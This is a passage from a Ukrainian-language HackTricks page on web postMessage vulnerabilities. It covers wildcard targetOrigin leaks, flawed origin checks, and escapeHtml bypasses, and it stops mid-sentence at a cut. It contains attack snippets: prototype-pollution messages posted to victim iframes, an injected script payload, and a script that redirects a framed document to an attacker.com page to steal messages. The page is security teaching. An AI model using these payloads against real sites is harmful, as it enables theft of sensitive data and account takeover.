hacktricks/pentesting-web/postmessage-vulnerabilities
2024-07-19 04:58:21 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:58:21 +00:00
bypassing-sop-with-iframes-1.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:58:21 +00:00
bypassing-sop-with-iframes-2.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:58:21 +00:00
README.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
steal-postmessage-modifying-iframe-location.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:58:21 +00:00

Вразливості PostMessage

Вразливості PostMessage

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Відправити PostMessage

PostMessage використовує наступну функцію для відправлення повідомлення:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Зауважте, що targetOrigin може бути '*' або URL, наприклад https://company.com.
У другому сценарії, повідомлення може бути відправлене лише на цей домен (навіть якщо початковий джерело об'єкта вікна відрізняється).
Якщо використовується шаблон, повідомлення можуть бути відправлені на будь-який домен, і будуть відправлені на початкове джерело об'єкта Вікна.

Атака на iframe та шаблон в targetOrigin

Як пояснено в цьому звіті, якщо ви знаходите сторінку, яку можна вставити в iframe (без захисту X-Frame-Header) і яка надсилає чутливе повідомлення через postMessage, використовуючи шаблон (*), ви можете змінити походження iframe та витікати чутливе повідомлення на домен, яким ви керуєте.
Зауважте, що якщо сторінку можна вставити в iframe, але targetOrigin встановлено на URL, а не на шаблон, цей трюк не працюватиме.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Використання addEventListener

addEventListener - це функція, яку використовує JS для оголошення функції, яка очікує postMessages.
Буде використаний код, подібний до наступного:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

У цьому випадку першим кроком коду є перевірка походження. Це надзвичайно важливо, особливо якщо сторінка збирається робити чутливі дії з отриманою інформацією (наприклад, змінювати пароль). Якщо не перевіряти походження, атакувальники можуть змусити жертв відправляти довільні дані на ці кінцеві точки та змінювати паролі жертв (у цьому прикладі).

Перелік

Для знаходження прослуховувачів подій на поточній сторінці можна:

  • Шукати код JS для window.addEventListener та $(window).on (версія JQuery)
  • Виконати у консолі інструментів розробника: getEventListeners(window)

  • Перейти до Elements --> Event Listeners у інструментах розробника браузера

Обхід перевірки походження

  • Атрибут event.isTrusted вважається безпечним, оскільки повертає True лише для подій, які генеруються реальними діями користувача. Хоча його важко обійти, якщо він реалізований правильно, його значення в перевірках безпеки помітне.

  • Використання indexOf() для перевірки походження в подіях PostMessage може бути вразливим на обхід. Приклад, що ілюструє цю вразливість:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Метод search() з String.prototype.search() призначений для регулярних виразів, а не для рядків. Передача чого-небудь, крім регулярного виразу, призводить до неявного перетворення на регулярний вираз, що може зробити метод потенційно небезпечним. Це тому, що в регулярних виразах крапка (.) діє як символ підстановки, що дозволяє обійти перевірку з допомогою спеціально створених доменів. Наприклад:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Функція match(), подібно до search(), обробляє регулярні вирази. Якщо регулярний вираз побудований неправильно, він може бути вразливим на обхід.

  • Функція escapeHtml призначена для санітаризації введених даних шляхом екранування символів. Однак вона не створює новий екранований об'єкт, а перезаписує властивості існуючого об'єкта. Цю поведінку можна використовувати. Зокрема, якщо об'єкт можна маніпулювати так, що його контрольована властивість не визнає hasOwnProperty, escapeHtml не буде працювати як очікувалося. Це показано в прикладах нижче:

  • Очікувана помилка:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Обхід екранування:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

У контексті цієї вразливості об'єкт File особливо вразливий через свою тільки для читання властивість name. Ця властивість, коли використовується в шаблонах, не санітаризується функцією escapeHtml, що призводить до потенційних ризиків безпеки.

  • Властивість document.domain в JavaScript може бути встановлена сценарієм для скорочення домену, що дозволяє більш гнучке застосування політики однакового походження в межах одного батьківського домену.

Обхід e.origin == window.origin

При вбудовуванні веб-сторінки в ізольовану iframe за допомогою %%%